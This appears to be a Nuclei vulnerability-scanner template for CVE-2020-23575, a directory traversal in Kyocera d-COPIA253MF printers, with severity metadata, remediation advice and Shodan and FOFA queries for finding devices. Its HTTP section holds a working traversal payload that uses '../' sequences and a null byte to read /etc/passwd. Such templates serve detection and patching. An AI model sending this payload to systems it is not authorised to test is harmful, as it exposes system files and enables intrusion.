id: CVE-2020-23575

info:
  name: Kyocera Printer d-COPIA253MF - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest firmware update provided by Kyocera to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48561
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23575
    - https://www.kyoceradocumentsolutions.com.tr/tr.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-23575
    cwe-id: CWE-22
    epss-score: 0.64772
    epss-percentile: 0.98366
    cpe: cpe:2.3:o:kyocera:d-copia253mf_plus_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kyocera
    product: d-copia253mf_plus_firmware
    shodan-query: http.favicon.hash:-50306417
    fofa-query: icon_hash=-50306417
  tags: cve2020,cve,printer,iot,lfi,edb,kyocera

http:
  - method: GET
    path:
      - "{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:.*:0:0:"
          - "bin:.*:1:1"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a63d728836661b665914f575b9258c6c52d42956f93e51ad73ba4437a4d53a56022100f97522a7ea88db465c2c5767b6a69e0c4ddf97bd18acaaac42916591f14176cd:922c64590222798bb761d5b6d8e72950